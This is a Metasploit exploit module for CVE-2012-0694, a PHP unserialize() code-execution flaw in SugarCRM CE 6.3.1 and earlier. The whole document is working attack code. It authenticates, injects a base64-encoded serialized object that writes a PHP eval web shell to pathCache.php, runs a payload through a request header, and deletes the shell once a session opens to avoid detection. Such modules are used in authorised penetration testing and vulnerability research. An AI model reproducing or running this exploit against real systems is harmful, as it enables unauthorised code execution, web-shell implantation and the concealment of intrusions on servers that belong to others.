SugarCRM CE 6.3.1 – ‘Unserialize()’ PHP Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1 which could be abused to allow authenticated SugarCRM users to execute arbitrary code with the permissions of the webserver. The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php' script, which is called with user controlled data from the 'current_query_by_page' parameter. The exploit abuses the __destruct() method from the SugarTheme class to write arbitrary PHP code to a 'pathCache.php' on the web root. }, 'Author' => [ 'EgiX', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2012-0694' ], [ 'EDB', '19381' ], [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 23 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]) ], self.class) end def on_new_session(client) if client.type == "meterpreter" f = "pathCache.php" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin client.fs.file.rm(f) print_good("#{@peer} - #{f} removed to stay ninja") rescue print_error("#{@peer} - Unable to remove #{f}") end end end def exploit base = target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] password = datastore['PASSWORD'] # Can't use vars_post because it'll escape "_" data = "module=Users&" data << "action=Authenticate&" data << "user_name=#{username}&" data << "user_password=#{password}" res = send_request_cgi( { 'uri' => "#{base}index.php" , 'method' => "POST", 'headers' => { 'Cookie' => "PHPSESSID=1", }, 'data' => data }) if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie'] print_error("#{@peer} - Login failed with \"#{username}:#{password}\"") return end if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/ session_id = $1 else print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)") return end print_status("#{@peer} - Login successful with #{username}:#{password}") data = "module=Contacts&" data << "Contacts2_CONTACT_offset=1&" data << "current_query_by_page=" #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";} data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30=" print_status("#{@peer} - Exploiting the unserialize()") res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'POST', 'headers' => { 'Cookie' => "PHPSESSID=#{session_id};", }, 'data' => data }) if not res or res.code != 200 print_error("#{@peer} - Exploit failed: #{res.code}") return end print_status("#{@peer} - Executing the payload") res = send_request_cgi( { 'method' => 'GET', 'uri' => "#{base}pathCache.php", 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) if res print_error("#{@peer} - Payload execution failed: #{res.code}") return end end end |